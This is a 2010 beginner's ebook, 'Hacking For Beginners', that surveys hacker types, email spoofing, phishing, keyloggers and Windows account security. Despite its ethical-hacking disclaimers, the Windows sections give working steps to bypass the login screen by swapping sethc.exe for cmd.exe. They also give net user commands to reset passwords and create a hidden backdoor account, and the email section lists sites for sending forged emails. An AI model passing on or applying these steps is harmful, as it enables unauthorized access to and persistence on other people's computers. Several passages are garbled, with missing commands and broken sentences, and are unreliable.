```
1.
2.  Hacking For Beginners – Manthan Desai 2010
3.  w w w . h a c k i n g t e c h . c o . t v
4.  Page 2
5.  Legal Disclaimer
6.  Any proceedings and or activities related to the material contained within this book are exclusively your liability. The
7.  misuse and mistreat of the information in this book can consequence in unlawful charges brought against the persons in
8.  question. The authors and review analyzers will not be held responsible in the event any unlawful charges brought against
9.  any individuals by misusing the information in this book to break the law. This book contains material and resources that
10. can be potentially destructive or dangerous. If you do not fully comprehend something on this book, don‘t study this
11. book. Please refer to the laws and acts of your state/region/ province/zone/territory or country before accessing, using,
12. or in any other way utilizing these resources. These materials and resources are for educational and research purposes
13. only. Do not attempt to violate the law with anything enclosed here within. If this is your intention, then leave now.
14. While using this book and reading various hacking tutorials, you agree to follow the below
15. mentioned terms and conditions:
```

1. All the information provided in this book is for educational purposes only. The book author is no way responsible for any misuse of the information.
2. "Hacking for Beginners” is just a term that represents the name of the book and is not a book that provides any illegal information. “Hacking for Beginners” is a book related to Computer Security and not a book that promotes hacking/cracking/software piracy.
3. This book is totally meant for providing information on "Computer Security”, "Computer Programming” and other related topics and is no way related towards the terms "CRACKING” or "HACKING” (Unethical).
4. Few articles (tutorials) in this book may contain the information related to "Hacking Passwords” or "Hacking Email Accounts” (Or Similar terms). These are not the GUIDES of Hacking. They only provide information about the legal ways of retrieving the passwords. You shall not misuse the information to gain unauthorized access. However you may try out these hacks on your own computer at your own risk. Performing hack attempts (without permission) on computers that you do not own is illegal.
5. The virus creation section in this book provides demonstration on coding simple viruses using high level programming languages. These viruses are simple ones and cause no serious damage to the computer. However we strongly insist that these information shall only be used to expand programming knowledge and not for causing malicious attacks.
6. All the information in this book is meant for developing Hacker Defense attitude among the readers and help preventing the hack attacks. “Hacking for Beginners” insists that this information shall not be used for causing any kind of damage directly or indirectly. However you may try these codes on your own computer at your own risk.
7. The word "Hack” or "Hacking” that is used in this book shall be regarded as "Ethical Hack” or "Ethical Hacking” respectively.
8. We believe only in White Hat Hacking. On the other hand we condemn Black Hat Hacking.
9. Most of the information provided in this book are simple computer tricks (may be called by the name hacks) and are no way related to the term hacking.
10. Some of the tricks provided by us may no longer work due to fixture in the bugs that enabled the exploits. We are not responsible for any direct or indirect damage caused due to the usage of the hacks provided in the book.

About the Author

Manthan Desai is a sovereign Computer Security Consultant and has state-of-the-art familiarity in the field of computer. An ethical hacker and a freelance web designer is famous for his website Hacking Tech (www.hackingtech.co.tv) which is ranked 2nd in the ucoz.com web hosting servers for security field.

Manthan is indeed a writer on the internet through his website. Over 10,000 visits have been incurred on his website and on the increase day by day.

Manthan is currently perusing his bachelor’s degree in computer science engineering and is working as and information security consultant and web designer.

He is providing the services like Ethical hacking training and workshops, website Development and maintenance, security consultant, graphic designing for website.

The one and the only quote that Manthan uses while his ethical hacking is “Hack it and Have it.”

To Know More about the Author Please Visit: www.manthandesai.co.cc

Preface

Computer hacking is the practice of altering computer hardware and software to carry out a goal outside of the creator‘s original intention. People who slot in computer hacking actions and activities are often entitled as hackers.

The majority of people assume that hackers are computer criminals. They fall short to identify the fact that criminals and hackers are two entirely unrelated things. Media is liable for this. Hackers in realism are good and extremely intelligent people, who by using their knowledge in a constructive mode help organizations, companies, government, etc. to secure credentials and secret information on the Internet.

Years ago, no one had to worry about Crackers breaking into their computer and installing Trojan viruses, or using your computer to send attacks against others. Now that thing have changed, it's best to be aware of how to defend your computer from damaging intrusions and prevent black hat hackers. Rampant hacking is systematically victimizing computers around the world. This hacking is not only common, but is being executed without a flaw that the attackers compromise a system, steal everything of value and entirely rub out their pathway within 20 minutes. So, in this Book you will uncover the finest ways to defend your computer systems from the hackers

This Book is written by keeping one object in mind that a beginner, who is not much familiar regarding computer hacking, can easily, attempts these hacks and recognize what we are trying to demonstrate. Here we have incorporated the best ethical hacking articles in this volume, covering every characteristic linked to computer security.

After Reading this book you will come to recognize that how Hacking is affecting our every day routine work and can be very hazardous in many fields like bank account hacking etc. Moreover, after carrying out this book in detail you will be capable of understanding that how a hacker hacks and how you can defend yourself from these threats.

So Take care of yourself and Defend Yourself By hacking the hacker and be safe after that. So If you know how to hack a hacker then you can know how to prevent the hacker.

“Hack It and Have It...”

- Manthan Desai (author)

Acknowledgements

Book or volume "Hacking for Beginners” is tremendously complex to write, particularly without support of the Almighty GOD.

I express heartfelt credit to My Parents Mr.Manish Desai and Mrs. Jagruti Desai without them I have no existence. I am more than ever thankful to Nirma University for the inspiration which I got for learning hacking and getting such great opportunity to write the book. I am also thankful to my friends and partner who facilitated me at various research stages of this book and helped me to complete this book and mentioned me new suggestion for the book.

To finish, I am thankful to you also as you are reading this book. I am sure this will book make creative and constructive role to build your life more secure and alert than ever before.

Again Nothing but “Hack It and Have It...”

- Manthan Desai

Index

Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 10

The Theatrical concepts and Explanation.

Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v

1. Concept of Ethical Hacking

Hacking

- The Art of exploring various security breaches is termed as Hacking.
- Computer Hackers have been around for so many years. Since the Internet became widely used in the World, We have started to hear more and more about hacking. Only a few Hackers, such as Kevin Mitnick, are well known.
- In a world of Black and White, it's easy to describe the typical Hacker. A general outline of a typical Hacker is an Antisocial, Pimple-faced Teenage boy. But the Digital world has many types of Hackers.

¬ Hackers are human like the rest of us and are, therefore, unique individuals, so an exact profile is hard to outline. The best broad description of Hackers is that all Hackers aren’t equal. Each Hacker has Motives, Methods and Skills. But some general characteristics can help you understand them. Not all Hackers are Antisocial, Pimplefaced Teenagers. Regardless, Hackers are curious about Knowing new things, Brave to take steps and they are often very Sharp Minded.

Hacker

Hacker is a word that has two meanings:

¬ Traditionally, a Hacker is someone who likes to play with Software or Electronic Systems. Hackers enjoy Exploring and Learning how Computer systems operate. They love discovering new ways to work electronically.

¬ Recently, Hacker has taken on a new meaning – someone who maliciously breaks into systems for personal gain. Technically, these criminals are Crackers as Criminal Hackers. Crackers break into systems with malicious intentions.

¬ They do it for Personal gain, Fame, Profit and even Revenge. They Modify, Delete and Steal critical information, often making other people's life miserable.

¬ Hacking has a lot of meanings depending upon the person’s knowledge and his work intentions. Hacking is an Art as well as a Skill. Hacking is the knowledge by which one gets to achieve his Goals, anyhow, using his Skills and Power.

¬ Most people associate Hacking with breaking law, therefore calling all those guys who engage in hacking activities to be criminals. We agree that there are people out there who use hacking techniques to break the law, but hacking is not really about that. In fact, hacking is more about following the law and performing the steps within the limits.

Hacker vs. Cracker

What Is the Difference Between a Hacker and a Cracker?

Many articles have been written about the difference between Hackers and crackers, which attempt to correct public misconceptions about hacking. For many years, media has applied the word Hacker when it really means Cracker. So the public now believe that a Hacker is someone who breaks into computer systems and steal confidential data. This is very untrue and is an insult to some of our most talented Hackers.

There are various points to determine the difference between Hackers and crackers

- Definition - A Hacker is a person who is interested in the working of any computer Operating system. Most often, Hackers are programmers. Hackers obtain advanced knowledge of operating systems and programming languages. They may know various security holes within systems and the reasons for such holes. Hackers

constantly seek further knowledge, share what they have discovered, and they never have intentions about damaging or stealing data.

- Definition - A Cracker is a person who breaks into other people systems, with malicious intentions. Crackers gain unauthorized access, destroy important data, stop services provided by the server, or basically cause problems for their targets. Crackers can easily be identified because their actions are malicious.
- Whatever the case, most people give Hacker a negative outline. Many malicious Hackers are electronic thieves. Just like anyone can become a thief, or a robber, anyone can become a Hacker, regardless of age, gender, or religion. Technical skills of Hackers vary from one to another. Some Hackers barely know how to surf the Internet, whereas others write software that other Hackers depend upon.

Types of Hacker

- Let’s see the categories of Hackers on the basis on their knowledge.

Coders

- The Real Hackers are the Coders, the ones who revise the methods and create tools that are available in the market. Coders can find security holes and weaknesses in software to create their own exploits. These Hackers can use those exploits to develop fully patched and secure systems.
- Coders are the programmers who have the ability to find the unique vulnerability in existing software and to create working exploit codes. These are the individuals with a deep understanding of the OSI Layer Model and TCP/IP Stacks.

Admins

- Admins are the computer guys who use the tools and exploits prepared by the coders. They do not develop their own techniques, however they uses the tricks which are already prepared by the coders. They are generally System Administration, or Computer Network Controller. Most of the Hackers and security person in this digital

world come under this category.

- Admins have experience with several operating systems, and know how to exploit several existing vulnerabilities. A majority of Security Consultants fall in this group and work as a part of Security Team.

Script Kiddies

- Next and the most dangerous class of Hackers is Script kiddies, They are the new generation of users of computer who take advantage of the Hacker tools and documentation available for free on the Internet but don't have any knowledge of what's going on behind the scenes. They know just enough to cause you headaches but typically are very sloppy in their actions, leaving all sorts of digital fingerprints behind. Even though these guys are the teenage Hackers that you hear about in the news media, they need minimum skills to carry out their attacks.
- Script Kiddies are the bunnies who use script and programs developed by others to attack computer systems and Networks. They get the least respect but are most annoying and dangerous and can cause big problems without actually knowing what they are doing.

- Types of Hackers on the basis of activities performed by them.

White Hat Hacker

- A White Hat Hacker is computer guy who perform Ethical Hacking. These are usually security professionals with knowledge of hacking and the Hacker toolset and who use this knowledge to locate security weaknesses and implement counter measures in the resources.
- They are also known as an Ethical Hacker or a Penetration Tester. They focus on Securing and Protecting IT Systems.

Black Hat Hacker

- A Black Hat Hacker is computer guy who performs Unethical Hacking. These are the Criminal Hackers or Crackers who use their skills and knowledge for illegal or malicious purposes. They break into or otherwise violate the system integrity of remote machines, with malicious intent.
- These are also known as an Unethical Hacker or a Security Cracker. They focus on Security Cracking and Data stealing.

Grey Hat Hacker

- A Grey Hat Hacker is a Computer guy who sometimes acts legally, sometimes in good will, and sometimes not. They usually do not hack for personal gain or have malicious intentions, but may or may not occasionally commit crimes during the course of their technological exploits.
- They are hybrid between White Hat and Black Hat Hackers.

Ethical Hacking

- Ethical Hacking is testing the resources for a good cause and for the betterment of technology. Technically Ethical Hacking means penetration testing which is focused on Securing and Protecting IT Systems.

Hactivism

- Another type of Hackers are Hacktivists, who try to broadcast political or social messages through their work. A Hacktivist wants to raise public awareness of an issue. Examples of hacktivism are the Web sites that were defaced with the Jihad messages in the name of Terrorism.

Cyber Terrorist

- There are Hackers who are called Cyber Terrorists, who attack government computers or public utility infrastructures, such as power stations and air-traffic-control towers. They crash critical systems or steal classified government information. While in a conflict with enemy countries some government start Cyber war via Internet.

Why Hackers Hack?

- The main reason why Hackers hack is because they can hack. Hacking is a casual hobby for some Hackers — they just hack to see what they can hack and what they can’t hack, usually by testing their own systems. Many Hackers are the guys who get kicked out of corporate and government IT and security organizations. They try to bring down the status of the organization by attacking or stealing information.
- The knowledge that malicious Hackers gain and the ego that comes with that knowledge is like an addiction. Some Hackers want to make your life miserable, and others simply want to be famous. Some common motives of malicious Hackers are revenge, curiosity, boredom, challenge, theft for financial gain, blackmail, extortion, and corporate work pressure.

¬ Many Hackers say they do not hack to harm or profit through their bad activities, which helps them justify their work. They often do not look for money full of pocket. Just proving a point is often a good enough reward for them.

Prevention from Hackers

¬ What can be done to prevent Hackers from finding new holes in software and exploiting them?

¬ Information security research teams exist—to try to find these holes and notify vendors before they are exploited. There is a beneficial competition occurring between the Hackers securing systems and the Hackers breaking into those systems. This competition provides us with better and stronger security, as well as more complex and sophisticated attack techniques.

¬ Defending Hackers create Detection Systems to track attacking Hackers, while the attacking Hackers develop bypassing techniques, which are eventually resulted in bigger and better detecting and tracking systems. The net result of this interaction is positive, as it produces smarter people, improved security, more stable software, inventive problem-solving techniques, and even a new economy.

¬ Now when you need protection from Hackers, whom you want to call, “The Ethical Hackers”. An Ethical Hacker possesses the skills, mindset, and tools of a Hacker but is also trustworthy. Ethical Hackers perform the hacks as security tests computer systems.

¬ Ethical Hacking – also known as Penetration Testing or White-Hat Hacking –involves the same Tools, Tricks and Techniques that Hackers use, but with one major difference:

¬ Ethical hacking is Legal.

¬ Ethical hacking is performed with the target’s permission. The intent of Ethical Hacking is to discover vulnerabilities from a Hacker’s viewpoint so systems can be better secured. Ethical Hacking is part of an overall information Risk Management program that allows for ongoing security improvements. Ethical hacking can also ensure that vendors’ claims about the security of their products are legitimate.

¬ As Hackers expand their knowledge, so should you. You must think like them to protect your systems from them. You, as the ethical Hacker, must know activities Hackers carry out and how to stop their efforts. You should know what to look for and how to use that information to thwart Hackers’ efforts.

¬ You don’t have to protect your systems from everything. You can’t.

The only protection against everything is to unplug your computer systems and lock them away so no

one can touch them—not even you.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 16
¬ That’s not the best approach to information security. What’s important is to protect your systems from known Vulnerabilities and common Hacker attacks.
¬ It’s impossible to overcome all possible vulnerabilities of your systems. You can’t plan for all possible attacks — especially the ones that are currently unknown which are called Zero Day Exploits. These are the attacks which are not known to the world. However in Ethical Hacking, the more combinations you try — the more you test whole systems instead of individual units — the better your chances of discovering vulnerabilities.
Steps Performed By hackers
1) Reconnaissance
2) Scanning
3) Gaining Access
4) Maintaining Access
5) Clearing Tracks
• Performing Reconnaissance
• Scanning and Enumeration
• Gaining access
• Maintaining access and Placing Backdoors
• Covering tracks or Clearing Logs
Phase I: Reconnaissance
¬ Reconnaissance can be described as the pre-attack phase and is a systematic attempt to locate, gather, identify, and record information about the target. The Hacker seeks to find out as much information as possible about the target.
Phase II: Scanning and Enumeration
¬ Scanning and enumeration is considered the second pre-attack phase. This phase involves taking the information discovered during reconnaissance and using it to examine the network. Scanning involves steps such as intelligent

system port scanning which is used to determine open ports and vulnerable services. In this stage the attacker can use different automated tools to discover system vulnerabilities.

Phase III: Gaining Access

- This is the phase where the real hacking takes place. Vulnerabilities discovered during the reconnaissance and scanning phase are now exploited to gain access. The method of connection the Hacker uses for an exploit can be a local area network, local access to a PC, the Internet, or offline. Gaining access is known in the Hacker world as owning the system. During a real security breach it would be this stage where the Hacker can utilize simple techniques to cause irreparable damage to the target system.

Phase IV: Maintaining Access and Placing Backdoors

- Once a Hacker has gained access, they want to keep that access for future exploitation and attacks. Sometimes, Hackers harden the system from other Hackers or security personnel by securing their exclusive access with Backdoors, Root kits, and Trojans.
- The attacker can use automated scripts and automated tools for hiding attack evidence and also to create backdoors for further attack.

Phase V: Clearing Tracks

- In this phase, once Hackers have been able to gain and maintain access, they cover their tracks to avoid detection by security personnel, to continue to use the owned system, to remove evidence of hacking, or to avoid legal action. At present, many successful security breaches are made but never detected. This includes cases where firewalls and vigilant log checking were in place.

Working of an ethical hacker

Obeying the Ethical Hacking Commandments:

- Every Ethical Hacker must follow few basic principles. If he do not follow, bad things can happen. Most of the time these principles get ignored or forgotten when planning or executing ethical hacking tests. The results are even very dangerous.

Working ethically:

- The word ethical can be defined as working with high professional morals and principles. Whether you're performing ethical hacking tests against your own systems or for someone who has hired you, everything you do as an ethical Hacker must be approved and must support the company's goals. No hidden agendas are allowed! Trustworthiness is the ultimate objective. The misuse of information is absolutely not allowed. That's what the bad guys do.

Respecting privacy:

- Treat the information you gather with complete respect. All information you obtain during your testing – from Web application log files to clear-text passwords – must be kept private.

Not crashing your systems:

- One of the biggest mistakes is when people try to hack their own systems; they come up with crashing their systems. The main reason for this is poor planning. These testers have not read the documentation or misunderstand the usage and power of the security tools and techniques.
- You can easily create miserable conditions on your systems when testing. Running too many tests too quickly on a system causes many system lockups. Many security assessment tools can control how many tests are performed on a system at the same time. These tools are especially handy if you need to run the tests on production systems during regular business hours.

Executing the plan:

- In Ethical hacking, Time and patience are important. Be careful when you're performing your ethical hacking tests. A Hacker in your network or an employee looking over your shoulder may watch what's going on. This person

could use this information against you. It's not practical to make sure that no Hackers are on your systems before you start. Just make sure you keep everything as quiet and private as possible.

- This is especially critical when transmitting and storing your test results. You're now on a reconnaissance mission. Find as much information as possible about your organization and systems, which is what malicious Hackers do. Start with a broad view of mind and narrow your focus. Search the Internet for your organization's name, your computer and network system names, and your IP addresses. Google is a great place to start for this.

- Don’t take ethical hacking too far, though. It makes little sense to harden your systems from unlikely attacks. For instance, if you don’t have a internal Web server running, you may not have to worry too much about. However, don’t forget about insider threats from malicious employees or your friends or colleagues!
“Never share your password with anyone even with your Boyfriend(s) or Girlfriend(s)”.

2. Email hacking

How Email Works?

- Email sending and receiving is controlled by the Email servers. All Email service providers configure Email Server before anyone can Sign into his or her account and start communicating digitally.
- Once the servers are ready to go, users from across the world register in to these Email servers and setup an Email account. When they have a fully working Email account, they sign into their accounts and start connecting to other users using the Email services.

Email Travelling Path

- Let’s say we have two Email providers, one is Server1.com and other is Server2.in, ABC is a registered user in Server1.com and XYZ is a registered user in Server2.in.
- ABC signs in to his Email account in Server1.com, he then writes a mail to the xyz@server2.in and click on Send and gets the message that the Email is sent successfully.
- But what happens behind the curtains, the Email from the computer of abc@server1.com is forwarded to the Email server of Server1.com. Server1 then looks for server2.in on the internet and forwards the Email of the server2.in for the account of XYZ. Server2.in receives the Email from server1.com and puts it in the account of XYZ.
- XYZ then sits on computer and signs in to her Email account. Now she has the message in her Email inbox.

Email Service Protocols

SMTP

- SMTP stands for Simple Mail Transfer Protocol. SMTP is used when Email is delivered from an Email client, such as Outlook Express, to an Email server or when Email is delivered from one Email server to another. SMTP uses port 25.

POP3

- POP3 stands for Post Office Protocol. POP3 allows an Email client to download an Email from an Email server. The POP3 protocol is simple and does not offer many features except for download. Its design assumes that the Email client downloads all available Email from the server, deletes them from the server and then disconnects. POP3 normally uses port 110.

IMAP

- IMAP stands for Internet Message Access Protocol. IMAP shares many similar features with POP3. It, too, is a protocol that an Email client can use to download Email from an Email server. However, IMAP includes many more features than POP3. The IMAP protocol is designed to let users keep their Email on the server. IMAP requires more disk space on the server and more CPU resources than POP3, as all Emails are stored on the server. IMAP normally uses port 143.

Configuring an Email Server

- Email server software like Post cast Server, Hmailserver, Surge mail, etc can be used to convert your Desktop PC into an Email sending server.
- HMailServer is an Email server for Microsoft Windows. It allows you to handle all your Email yourself without having to rely on an Internet service provider (ISP) to manage it. Compared to letting your ISP host your Email, HMailServer adds flexibility and security and gives you the full control over spam protection.

Email Security

- Now let’s check how secure this fast mean of communication is. There are so many attacks which are applied on Emails. There are people who are the masters of these Email attacks and they always look for the innocent people who are not aware of these Email tricks and ready to get caught their trap.
- You have to make sure that you are not an easy target for those people. You have to secure your Email identity and profile, make yourself a tough target.
- If you have an Email Id Do not feel that it does not matters if hacked because there is no important information in

that Email account, because you do not know if someone gets your Email id password and uses your Email to send a threatening Email to the Ministry or to the News Channels.

¬ Attacker is not bothered about your data in the Email. He just wants an Email ID Victim which will be used in the attack. There are a lots of ways by which one can use your Email in wrong means, i am sure that you would have come across some of the cased where a student gets an Email from his friends abusing him or cases on Porn Emails where the owner of the Email does not anything about the sent Email.

Email Spoofing

¬ Email spoofing is the forgery of an Email header so that the message appears to have originated from someone or somewhere other than the actual source. Distributors of spam often use spoofing in an attempt to get recipients to open, and possibly even respond to, their solicitations. Spoofing can be used legitimately.

¬ There are so many ways to send the Fake Emails even without knowing the password of the Email ID. The Internet is so vulnerable that you can use anybody's Email ID to send a threatening Email to any official personnel.

Methods to send fake Emails

Open Relay Server

Web Scripts

Fake Emails: Open Relay Server

¬ An Open Mail Relay is an SMTP (Simple Mail Transfer Protocol) server configured in such a way that it allows anyone on the Internet to send Email through it, not just mail destined ‘To’ or ‘Originating’ from known users.

¬ An Attacker can connect the Open Relay Server via Telnet and instruct the server to send the Email.

¬ Open Relay Email Server requires no password to send the Email.

Fake Emails: via web script

¬ Web Programming languages such as PHP and ASP contain the mail sending functions which can be used to send Emails by programming Fake headers i.e.” From: To: Subject:”

¬ There are so many websites available on the Internet which already contains these mail sending scripts. Most of them provide the free service.

- Some of Free Anonymous Email Websites are:
  - Mail.Anonymizer.name (Send attachments as well)
  - FakEmailer.net
  - FakEmailer.info
  - Deadfake.com
  - www.hackingtech.co.tv/index/0-93

PHP Mail sending script

Consequences of fake emails

- Email from your Email ID to any Security Agency declaring a Bomb Blast can make you spend rest of your life behind the iron bars.
- Email from you to your Girl friend or Boy friend can cause Break-Up and set your friend’s to be in relationship.
- Email from your Email ID to your Boss carrying your Resignation Letter or anything else which you can think of.
- There can be so many cases drafted on Fake Emails.

Proving a fake Email

- Every Email carry Header which has information about the Travelling Path of the Email
- Check the Header and Get the location from the Email was Sent
- Check if the Email was sent from any other Email Server or Website
- Headers carry the name of the Website on which the mail sending script was used.

Email Bombing

- Email Bombing is sending an Email message to a particular address at a specific victim site. In many instances, the messages will be large and constructed from meaningless data in an effort to consume additional system and network resources. Multiple accounts at the target site may be abused, increasing the denial of service impact.

Email Spamming

- Email Spamming is a variant of Bombing; it refers to sending Email to hundreds or thousands of users (or to lists that expand to that many users). Email spamming can be made worse if recipients reply to the Email, causing all the original addressees to receive the reply. It may also occur innocently, as a result of sending a message to mailing lists and not realizing that the list explodes to thousands of users, or as a result of a responder message (such as vacation(1)) that is setup incorrectly.

Email Password Hacking

- There is no specified attack available just to hack the password of Email accounts. Also, it is not so easy to compromise the Email server like Yahoo, Gmail, etc.
- Email Password Hacking can be accomplished via some of the Client Side Attacks. We try to compromise the user and get the password of the Email account before it reaches the desired Email server.
- We will cover many attacks by the workshop flows, but at this time we will talk about the very famous 'Phishing attack'.

Phishing

- The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the user into surrendering private information that will be used for identity theft.
- The Email directs the user to visit a Web site where they are asked to update personal information, such as passwords and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site, however, is Bogus and set up only to steal the User’s information.

Phishing scams could be

- Emails inviting you to join a Social Group, asking you to Login using your Username and Password.
- Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.
- Emails containing some Information of your Interest and asking you to Login to Your Account.
- Any Email carrying a Link to Click and asking you to Login.

Prevention against Phishing

¬ Read all the Email Carefully and Check if the Sender is Original

¬ Watch the Link Carefully before Clicking

¬ Always check the URL in the Browser before Signing IN to your Account

¬ Always Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email.

Email Tracing

¬ Tracing an Email means locating the Original Sender and Getting to know the IP address of the network from which the Email was actually generated.

¬ To get the information about the sender of the Email we first must know the structure of the Email.

¬ As we all know the travelling of the Email. Each message has exactly one header, which is structured into fields. Each field has a name and a value. Header of the Email contains all the valuable information about the path and the original sender of the Email.

¬ For tracing an email Address You need to go to your email account and log into the email which you want to trace after that you have to find the header file of the email which is received by you.

ᵾ You will get Source code of the email.

¬ For Rediffmail-

¬ For Yahoo mail-

¬

For Gmail-

Now see from bottom to top and the first IP address you find is the IP address of the sender.

Once you have the IP Address of the sender, go to the URL www.ip2location.com and Find the location of the IP Address.

And you are done we have traced the person.....

And from where he had sent the email.

Keystroke loggers

- Keystroke Loggers (or Key loggers) intercept the Target’s keystrokes and either saves them in a file to be read later, or transmit them to a predetermined destination accessible to the Hacker.
- Since Keystroke logging programs record every keystroke typed in via the keyboard, they can capture a wide variety of confidential information, including passwords, credit card numbers, and private Email correspondence, names, addresses, and phone numbers.

Types of keyloggers

- Hardware keylogger
- Software keylogger

Some Famous keyloggers

- Actual Spy
- Perfect Keylogger
- Family Keylogger
- Home Keylogger
- Soft Central Keylogger
- Adramax Keylogger

Securing your Email account

- Always configure a Secondary Email Address for the recovery purpose.
- Properly configure the Security Question and Answer in the Email Account.
- Do Not Open Emails from strangers.
- Do Not Use any other’s computer to check your Email.
- Take Care of the Phishing Links.
- Do not reveal your Passwords to your Friends or Mates.

Page 28

3. Windows Hacking and Security

Security Architecture of Windows

- There are three components of Windows Security:
  - LSA (Local Security Authority)
  - SAM (Security Account Manager)
  - SRM (Security Reference Monitor)

LSA (Local Security Authority)

- LSA is the Central Part of NT Security. It is also known as Security Subsystem. The Local Security Authority or LSA is a key component of the logon process in both Windows NT and Windows 2000. In Windows 2000, the LSA is responsible for validating users for both local and remote logons. The LSA also maintains the local security policy.
- During the local logon to a machine, a person enters his name and password to the logon dialog. This information is passed to the LSA, which then calls the appropriate authentication package. The password is sent in a nonreversible secret key format using a one-way hash function. The LSA then queries the SAM database for the User's account information. If the key provided matches the one in the SAM, the SAM returns the users SID and the SIDs of any groups the user belongs to. The LSA then uses these SIDs to generate the security access token.

SAM (Security Account Manager)

- The Security Accounts Manager is a database in the Windows operating system (OS) that contains user names and passwords. SAM is part of the registry and can be found on the hard disk.
- This service is responsible for making the connection to the SAM database (Contains available user-accounts and groups). The SAM database can either be placed in the local registry or in the Active Directory (If available). When the service has made the connection it announces to the system that the SAM-database is available, so other services can start accessing the SAM-database.
- In the SAM, each user account can be assigned a Windows password which is in encrypted form. If someone attempts to log on to the system and the user name and associated passwords match an entry in the SAM, a

sequence of events takes place ultimately allowing that person access to the system. If the user name or passwords do not properly match any entry in the SAM, an error message is returned requesting that the information be entered again.

- When you make a New User Account with a Password, it gets stored in the SAM File.
- Windows Security Files are located at

“C:\Windows\System32\Config\SAM”

- The moment operating system starts, the SAM file becomes inaccessible.

SRM (Security Reference Monitor)

- The Security Reference Monitor is a security architecture component that is used to control user requests to access objects in the system. The SRM enforces the access validation and audit generation. Windows NT forbids the direct access to objects. Any access to an object must first be validated by the SRM. For example, if a user wants to access a specific file the SRM will be used to validate the request. The Security Reference Monitor enforces access validation and audit generation policy.
- The reference monitor verifies the nature of the request against a table of allowable access types for each process on the system. For example, Windows 3.x and 9x operating systems were not built with a reference monitor, whereas the Windows NT line, which also includes Windows 2000 and Windows XP, was designed with an entirely different architecture and does contain a reference monitor.

Windows user account architecture

- User account passwords are contained in the SAM in the Hexadecimal Format called Hashes.
- Once the Passwords converted in Hashes, you cannot convert back to the Clear Text.

Cracking Windows User Account password

- Passwords are Stored and Transmitted in an encrypted form called a Hash. When a User logs on to a system and enters a password, a hash is generated and compared to a stored hash. If the entered and the stored hashes match, the user is authenticated (This is called the Challenge/Response).
- Passwords may be cracked manually or with automated tools such as a Brute-force method or the Rainbow Table

attack.
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 31
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 32
¬ In this if we put the password and windows vey the password we entered on teen with the file in which the password is stored of ours.
¬ This is stored in a file named SAM
¬ It is shown in the picture above.
¬ Now we need to attack this file.
¬ For this we need to open this file but it is not possible as it is in process by the computer from its start up.
¬ And we suppose that the file opens then also we cannot see the passwords stored in it because they are encrypted in the form of HASHES.
¬ And they and not be decrypted. Ad it is the hardest encryption done and decryption is not easy.
¬ But it is not impossible.
¬ We Need a Bootable CD named Hiren boot and Can Crack the Password.
¬ But Another Attack –
¬ Go to C:\Windows\System32\
¬ Copy the File cmd.exe to desktop and rename it to sethc.exe
¬ Now copy the file sethc.exe to C:\Windows\System32\ and will give an error, give that error YES. And replace it.
¬ Now You Are Done.
¬ Now At the Login Screen Press SHIFT Key 5 times and a beep Sound will come and Command prompt will open.
¬ In the command prompt type “explorer.exe” and Hit Enter a desktop will open in the tab mode.Use The Computer Unlimited….
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v

Page 33

Windows User Account Attack

1) To See all the account present on the computer

2) To change the password without knowing the old password.

3) To make a new user account.

4) To Delete the Existing user account.

5) To make a hidden account in computer.***** { Works only in windows XP}

¬ Note: - To login to this Hidden Account Press

¬ Ctrl + Alt + Delete + Delete

¬ And give the hidden user name in the user name field and password respectively.

¬ And the above are to be executed in command prompt. And the hacker indicates the respective user name. Or the name of the account.

Counter Measures of Windows Attack.

1) Change the Boot Sequence in the BIOS setup. Keep Hard Disk As 1st boot drive, then CD/DVD drive as 2nd boot device & Removable port as the 3rd boot device.

2) Put the BIOS password.

3) Put the physical Lock behind the cabinet of PC. (Put Lock).

Net user

Net user administrator *

Net user hacker /add

Net user hacker /delete

Net user hacker /add

Net localgroup users hacker /delete

Hacking For Beginners – Manthan Desai 2010

w w w . h a c k i n g t e c h . c o . t v

Page 34

To hide a file behind an image.

To hide a file behind a image file which means that if any one opens that image he will see the image only but if you open

in a special way then you can open the hidden file behind the image.
So to hide the file behind a image open CMD.exe
1) Select an image to be used for hiding file behind the image.
2) Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.
3) And most important is that paste both the files on desktop and run the following command on the command
prompt.
4) And then type the following command.
cd desktop
Copy /b imagename.jpg + filename.rar finalnameofimage.jpg

And then hit enter the file will be created with the file final file name of the image.
Make a Private Folder
To make Private folder which nobody can open, delete, see properties, rename.
To make such a folder you need to make a folder with any name. For example- manthan on desktop.
And then open command prompt and then type the following command on the screen.

Then type
And hit enter the folder is locked
To open the folder just: replace with: f
And the folder is opened
Cd desktop
Cacls folder /E /P everyone:n

Page 37

To run net user in Vista and Windows 7

- Go to Start > Type CMD in Search Box
- Right Click on CMD Icon and choose the option “Run as administrator”

Page 38

Brute Force Attack

- Brute force password guessing is just what it sounds like: trying a random approach by attempting different passwords and hoping that one works. Some logic can be applied by trying passwords related to the person’s name, job title, hobbies, or other similar items.
- Brute force randomly generates passwords and their associated hashes.
- There are tools available to perform the Brute force attack on the Windows SAM File. Most famous tool available for Windows User Account Password Brute forcing is Cain and Abel. Another one is Sam Inside.

Page 39

Rainbow Table Attack

- Rainbow Table Attack trades off the time-consuming process of creating all possible password hashes by building a table of hashes in advance of the actual crack. After this process is finished, the table, called a rainbow table, is used to crack the password, which will then normally only take a few seconds.
- We can use the Live CD to crack the Windows password using the Rainbow table attack technique. Most famous Live CD available is Oph Crack.

Oph Crack

Page 40

Counter Measures for Windows Attack

Creating Backdoors for windows

Creating Hidden Accounts.

- Use the Net User Command to Create a Hidden Account in Windows: Net User Hidden user /add
- And then use the Command Net Local group Users Hidden user /delete
- Log Off the Current User, Press ALT+CTRL+DEL combination 2 times to get the 'Classic Windows User Login Screen'
- Type the Username as Hidden user and Hit Enter, you will get Logged In

Sticky Keys Backdoor.

- Sticky Keys application can be used as the Backdoor in Windows Operating System.
- Command Prompt file 'CMD.EXE' can be renamed to 'SETHC.EXE' in C:\Windows\System32 Folder.
